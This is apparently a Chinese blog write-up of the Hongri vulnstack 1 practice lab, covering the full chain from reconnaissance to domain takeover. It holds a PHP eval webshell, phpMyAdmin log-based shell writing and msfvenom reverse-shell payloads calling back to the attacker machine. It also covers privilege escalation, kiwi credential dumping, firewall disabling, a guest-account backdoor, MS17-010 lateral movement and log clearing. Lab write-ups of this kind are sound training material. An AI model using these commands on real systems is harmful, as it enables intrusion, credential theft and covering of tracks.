ATT&CK 实战 - 红日安全 vulnstack (一)

一 环境搭建

1.0 靶场介绍

ATT&CK实战系列—红队实战(一)是红日安全团队出品的一个实战环境,该靶场模拟真实环境。

1.0.0 靶场信息

靶场名称:					vulnstack 1
下载链接:					http://vulnstack.qiyuanxuetang.net/vuln/detail/2/
靶机数量:					3

1.0.1 虚拟机配置

这个靶场是利用零碎的时间打的,所以ip可能不太一样,但本质不会变
所有主机密码为:hongrisec@2019
密码同一修改为:hongrisec@2021


攻击机
名称:						win 10			|	kali 2020
ip:							192.168.154.1	|	192.168.154.178

vm1
名称:						win 7
ip:							外网:192.168.154.129
							内网:192.168.52.143

vm2
名称:						win 2003
ip:							192.168.52.141

vm3
名称:						win 2008(域控)
ip:							192.168.52.138

靶场拓扑图
在这里插入图片描述
网络配置
在这里插入图片描述
VM1(win 7)
在这里插入图片描述
vm2(win 2003)在这里插入图片描述
vm3(win 2008)
在这里插入图片描述

1.0.2 服务开启

使用上面的账号密码打开win 7靶机的服务,然后使用win 7中的浏览器访问127.0.0.1,查看服务是否开启
在这里插入图片描述在这里插入图片描述
在这里插入图片描述

这个靶场打了很多次,一开始会出现很多问题,比如:

  1. win 7靶机中的phpstudy无法打开,记忆中是有个服务未打开
  2. win 7是无法直接ping的,因为打开了防火墙,只要能访问即可,如果需要可以关闭防火墙

二 信息收集

2.0 探测目标

2.0.0 arp扫描器

Kali自带了arp扫描器,可以通过这个工具扫描出和自身网卡同一网段的主机

arp-scan -l							#扫描网段所有主机
arp-scan -I eth0 -l					#扫描指定网段所有ip

可以发现扫到了192.168.154.129的ip,访问后和win 7属于同一个页面。
在这里插入图片描述

2.0.1 nmap

nmap -sn 192.168.154.0/24							

在这里插入图片描述

2.1 端口服务

2.1.0 nmap

nmap -T4 -p- 192.168.154.129						#T4是扫描速度

nmap -T4 -O -sV -p- 192.168.154.129		&		namp -A 192.168.154.129
					
#个人常用第一条,可以探测出操作系统,端口、端口服务及服务版本信息
#如果使用 参数:-A 的话会更详细,但也会更慢

在这里插入图片描述在这里插入图片描述在这里插入图片描述

2.1.1 masscan

不知道为什么,其他大佬都说masscan扫描快,而我的nmap扫了两个c段了masscan一个c段才扫了82.1%,而且还漏了超级多东西。

masscan 192.168.154.129 -p 0-65535

2.2 目录扫描

2.2.0 御剑

这里建议不要放过301、403等一下敏感的状态码。
在这里插入图片描述

2.2.1 dirsearch

python3 dirsearch.py -u "192.168.154.129"

在这里插入图片描述

2.2.2 Dirmap

听说这玩意比上面那两个更好,没用过。

如果想要效率更高的,就自己造车
主要是字典要好用,一定要去重。

2.3 指纹识别

2.3.0 whatweb

感觉没探测出cms来,也不知道为啥

whatweb 192.168.154.129

在这里插入图片描述

2.3.1 指纹扫描器

使用御剑web指纹识别或者大禹CMS系统识别之类的工具。

2.3.2 在线工具

推荐下面这个页面,其他的不是要收费就是很拉胯

http://whatweb.bugscaner.com/look/

2.4 信息整合

以下资料为上面大概的统计,这里可以去备份文件判断有哪些敏感路径。
正常情况下还需要收集whois信息、子域名、waf、c段、真实ip等信息。

名称详细
操作系统Windows
服务器&编程语言Apache/2.4.23 & PHP/5.4.45
目录信息http://192.168.154.129/phpinfo.php
http://192.168.154.129/PHPMyAdmin
http://192.168.154.129/beifen.rar
http://192.168.154.129/l.php
CMSYxms(备份文件中判断)

三 漏洞分析

3.0 备份文件

3.0.0 备份文件

文件名为:yxcms,猜测路径为:http://192.168.154.129/yxcms
在这里插入图片描述

3.0.1 主页敏感信息

在这里插入图片描述

3.0.2 配置文件敏感信息

在这里插入图片描述

3.0.3 PHPMyAdmin

http://192.168.154.129/phpmyadmin/
在这里插入图片描述

3.0.4 默认后台

http://192.168.154.129/yxcms//index.php?r=admin/index/login
在这里插入图片描述

3.0.5 整合

还有些phpinfo、php探针等信息,这里就不列举了


四 漏洞利用(两种方法)

4.0 Yxcms后台模板 Getshell

4.0.0 弱口令登录

在上面信息收集处看到了默认密码admin/123456
在这里插入图片描述
访问Yxcms的默认后台路径进行登录

http://192.168.154.129/yxcms//index.php?r=admin/index/login

在这里插入图片描述

4.0.1 模板写一句话 & 蚁剑连shell

看到有个前台模板,既然是模板,那应该有写入shell的地方。
点击前台模板>管理模板文件>点击编辑(选择index_index.php,因为最好找到路径)
在这里插入图片描述
在这里插入图片描述
此时可以写入一句话木马,正常这里应该是搞个免杀之类的,可以插入一些回显的信息来提供佐证。
访问主页面(http://192.168.154.129/yxcms/)可以发现主页面出现了phpinfo和一堆字符串,此刻可以用菜刀连接了,连接上了,shell也就到手了。(这里也可以用冰蝎、哥斯拉等工具)

<?php eval($_POST["cmd"]);

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

4.1 PHPMyAdmin日志 Getshell

4.1.0 弱口令登录PHPMyAdmin

在配置文件中发现了数据库的账号密码root / root,访问PHPMyAdmin并使用root登录

http://192.168.154.129/phpmyadmin/

在这里插入图片描述
在这里插入图片描述
也可以勇navicat连接,这里无法连接应该是不允许远程登录
在这里插入图片描述

4.1.1 into outfile写入一句话(失败)

into outfile写入的条件如下:

  1. root权限
  2. 知道绝对路径
  3. secure_file_priv没有具体值

我们是用root账户登陆了,且源码泄露和phpinfo()导致我们知道了绝对路径,就差secure_fiel_priv值为什么了。
点击SQL输入语句查看secure_file_priv,发现secure_file_priv=NULL,所以无法写如shell

show global variables like "%secure%";

在这里插入图片描述
在这里插入图片描述

4.1.2 phpmyadmin 日志写入一句话

使用以下语句查询general_loggeneral_log_file信息(这里已经做了几遍,所以是已经修改过的)

show global variables like "%secure%";

在这里插入图片描述
可以使用下面的命令行进行修改
C:/phpStudy/WWW/a.php

set global general_log="on";								#开启日志,修改为on

set global general_log_file="C:/phpStudy/WWW/a.php";		#修改日志路径(在上面提到的phpinfo.php中有泄露路径)

在这里插入图片描述
在这里插入图片描述

4.1.3 蚁剑连shell

在这里插入图片描述

在上面可以知道我们是直接将a.php写在C盘的WWW中的,所以直接访问,然后使用蚁剑连接

http://192.168.154.129/a.php

在这里插入图片描述
在这里插入图片描述

五 内网信息收集

5.0 连接

很多大佬喜欢拿到shell后就使用MSF、CS等工具。
在上面蚁剑连接后,选中指定url地址右键打开虚拟终端

5.1 信息

随便列了几条常用的

 whoami															# 查看当前用户名
 whoami /all													# 获取域SID
 
 ipconfig /all													# 网络配置文件
 route print													# 打印路由信息
 arp -a															# 查看arp缓存,可以发现内网主机
 
 systeminfo														# 操作系统信息
 systeminfo | findstr /B /C:"OS Name" /C:"OS Version"			# 操作系统、软件版本信息	
 systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本"				# 操作系统、软件版本信息(中文)
 echo %PROCESSOR_ARCHITECTURE%									# 系统体系架构
 wmic product get name,version									# 系统安装的软件及版本信息
 wmic service list brief										# 本机服务信息
 tasklist /v 													# 本机进程
 net statistics workstation										# 主机开机时间
 schtasks /query /fo LIST /v									# 计划任务

net user                                						# 查看本地用户
net localgroup administrators           						# 查看本地管理员组(通常包含域用户)
net user xxx   													# 查看指定用户详细信息

六 MSF & CS 控制服务器

6.0 MSF

6.0.0 msfvenom

msfvenom非常强大,可以生成526种payload

1.在kali上生成shell.exe
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.154.178 LPORT=1111 -f exe -o shell.exe
# -p为指定payload,使用msf的payload的时候要和这个相同,lhost为自己ip,lport为自己端口,-f为payload类型

2.上传到服务器上
使用蚁剑将文件上传到服务器上

3.msf开启监听
use explpit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.154.178
set lport 1111
exploit

4.在蚁剑命令行中运行shell.exe

在这里插入图片描述

2
3

4

6.0.1 cs派生shell

msf配置

msf > use exploit/multi/handler 
msf exploit(handler) > set payload windows/meterpreter/reverse_http			# 这里的payload要和CS的一样
msf exploit(handler) > set lhost 192.168.154.178							# msf的ip
msf exploit(handler) > set lport 9999
msf exploit(handler) > exploit

在这里插入图片描述

CS配置
这里payload需要选择Foreign HTTP
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
结果
在这里插入图片描述

6.1 CS

6.1.0 cs生成木马

cs打开监听,生成木马并上传到服务器上。在服务器上运行木马即可,这里上线后将心跳设置为0,方便测试

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

6.1.1 msf派生shell

CS配置
CS开启监听,payload还是使用Beacon HTTP
CS
msf

meterpreter > bg
msf exploit(handler) >  use exploit/windows/local/payload_inject 
msf exploit(payload_inject) >  set PAYLOAD windows/meterpreter/reverse_http   # cs监听器中相同
msf exploit(payload_inject) > set DisablePayloadHandler true 				  # 告诉msf已建立监听,不必新建监听
msf exploit(payload_inject) > set LHOST 192.168.229.143 					  # cs的IP
msf exploit(payload_inject) > set LPORT 3333 								  # cs监听器中监听的端口
msf exploit(payload_inject) > set SESSION 1  
msf exploit(payload_inject) > exploit 

在这里插入图片描述
在这里插入图片描述
这里上线的都是同一台,测试的时候没反应多试了几下就这样
解决方案为查看进程并关闭

打开目标的cmd输入命令,这里使用CS
shell tasklist 													# 查看进程
shell taskkill /pid 4008 -t -f			 						# /PID processid    指定要终止的进程的 PID
																# -F              指定强制终止进程。
																# -T              终止指定的进程和由它启用的子进程

在这里插入图片描述

在这里插入图片描述在这里插入图片描述

在这里插入图片描述

七 权限提升 & 远程登录

7.0 权限提升

7.0.0 msf

 getuid			# 查看当前权限
 getsystem		# 提升至system

在这里插入图片描述

7.0.1 cs

7.0.1.0 cs脚本提权

导入插件ElevateKit进行提权
在这里插入图片描述
在这里插入图片描述在这里插入图片描述在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
这里可以发现多了system权限的win7主机
在这里插入图片描述

powershell 提权

powershell和cs脚本差不多,导入脚本即可
导入的脚本为ElevateKit modules文件夹中的文件
在这里插入图片描述在这里插入图片描述

powershell-import
powershell Invoke-MS16032							# powershell + 文件名(无须后缀)

在这里插入图片描述
在这里插入图片描述

7.0.1.1 exe 提权
upload													# 加载exe文件
shell 文件名 shell "whoami"								# 提权并执行命令

7.0.2 提权文件参考

https://github.com/k8gege/K8tools/
https://github.com/SecWiki/windows-kernel-exploits/
https://github.com/rsmudge/ElevateKit

7.1 远程登录

7.1.0 获取密码

7.1.0.0 MSF

MSF中使用的是kiwi

 ps
 migrate 512	# 默认是加载32位的系统,所以如果目标主机是64位系统的话,需要将进程迁移到一个64位程序的进程中
 load kiwi		# 加载kiwi模块
 creds_all		# 列举系统中的明文密码

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

7.1.0.1 CS

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述在这里插入图片描述
这里也可以拖过点击凭证按钮查看hash等信息
在这里插入图片描述

7.1.1 远程登录

注意事项
需要system权限

7.1.1.0 CMD

可以使用上面的账号密码登录,也可以自己添加账号密码

netstat -ano | findstr "3389"						# 查看端口3389是否开启
REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber
													# 查看远程端口
											
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f													# 开启3389端口

netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow
													# 允许 3389 端口放行
netsh firewall set opmode disable					# Windows Server 2003 系统及之前版本
netsh advfirewall set allprofiles state off			# Windows Server 2003 之后系统版本
7.1.1.1 VMIC

推荐此种方法,由于此方法会自动开启系统远程桌面中的允许远程连接到此计算机并启动默认的3389端口

wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1
7.1.1.2 MSF

VMIC
参考上面,进入shell运行即可

Meterpretr enable_rdp模块

run post/windows/manage/enable_rdp 
run multi_console_command -r <FileLocation>				(文件为启用模块后的给的路径,都在/root/.msf4/loot/目录下)

在这里插入图片描述
Meterpreter getgui模块

Meterpreter getgui模块中启用(关闭在启动信息中有说明上)

enable_rdp模块和 getgui模块测试的时候,只能启用并禁用一次,再次启用无效

八 权限维持

以下为了学习就尽量不使用msf和cs了

8.0 Guest后门

这里所创建的用户没有隐藏

shell net user									 # 查看本机用户
net user guest /active:yes						 # 激活guest
shell net user guest Aa123456					 # 给Guest用户设置密码
shell net localgroup administrator guest /add    # 将guest加入到管理员中

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

这里还可以采用其它权限维持的方法,比如shift后门、注册表后门、计划后门、白银黄金票据等

九 横向移动

隧道搭建

MSF + proxychains

run post/multi/manage/autoroute									# 添加路由,使msf可以访问内网,如果不添加,只能是meterpreter才能访问
run autoroute -p												# 查看路由
bg																						
use auxiliary/server/socks4a									# 使用socks4a进行代理,socks5出bug是用不了 
exploit									

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

jobs															# 查看运行情况
vi /etc/proxychains4.conf										# 配置proxychains4

socks4 127.0.0.1 1080											# 这里的ip需要跟上面的socks4a模块一致 						
proxychains4 curl http://ip/phpmyadmin							# 使用proxychains4代理访问被控主机,查看是否能使用												

在这里插入图片描述

在这里插入图片描述

内网信息收集

ipconfig/all查看DNS服务器
在这里插入图片描述
发现DNS服务器为god.org,使用net view查看域信息,发现三台主机
在这里插入图片描述
net view /domain查看主域信息
在这里插入图片描述
net time /domain查看时间服务器
若是此命令在显示域处显示 WORKGROUP,则不存在域,若是报错:发生系统错误 5,则存在域,但该用户不是域用户;如果报错其它信息,需要重启一下win7(win7需要比域控晚开启才可以)
在这里插入图片描述
net config workstation查询当前的登录域与用户信息(这里需要使用域用户,既未提权之前的用户)
在这里插入图片描述
nslookup god.org利用 nslookup 命令直接解析域名服务器
net user /domain查看当前域的所有用户
在这里插入图片描述
wmic useraccount get /all获取域内用户的详细信息,可以获取到用户名,描述信息,SID 域名等
在这里插入图片描述
net group "domain computers" /domain查看所有域成员计算机列表
在这里插入图片描述
net group "domain admins" /domain查看域管理员
在这里插入图片描述

横向探测

MSF

使用msf模块扫描存活的主机,这里需要注意的是proxychains4只支持支持socks,http, https协议,它们都是以tcp或者udp协议为基础,而 ping用的是ICMP协议,所以使用nmap -sn是无法扫出来的,可以使用udp和tcp协议扫

use auxiliary/scanner/netbios/nbname								# 使用模块扫描存活主机
set rhosts 192.168.52.0/24

在这里插入图片描述
在这里插入图片描述

CS

net view

这里使用net view可以查看内网情况
点击圈起来的地方即可查看到内网信息
在这里插入图片描述
这里的ROOT-TVxxxx和OWA好像都有点小错误,应该是环境的问题
在这里插入图片描述
在这里插入图片描述

这个才是正常的情况
在这里插入图片描述

portscan

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

横向移动

141渗透

扫描141的时候发现开了445端口,尝试使用MS17_010

proxychains4 nmap -p 1-1000 -Pn -sT 192.168.52.141
use auxiliary/scanner/smb/smb_version							使用模块判断版本

在这里插入图片描述
在这里插入图片描述
版本显示为win 2003,使用ms17_010执行ipconfig命令,发现返回了数据,后续可以用powershell等方法反弹cmd.exe

use auxiliary/admin/smb/ms17_010_command
set rhosts 192.168.52.141
set command 命令
exploit

在这里插入图片描述

域控渗透

方法和141渗透一样

十 清理痕迹

meterperter自带清除日志功能:
clearev     				#清除windows中的应用程序日志、系统日志、安全日志

清除recent:
在文件资源管理器中点击“查看”->“选项”->在常规->隐私中点击”清除”按钮
或直接打开C:\Users\Administrator\Recent并删除所有内容
或在命令行中输入del /f /s /q “%userprofile%\Recent*.*
  • 5
    点赞
  • 20
    收藏
    觉得还不错? 一键收藏
  • 5
    评论
评论 5
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值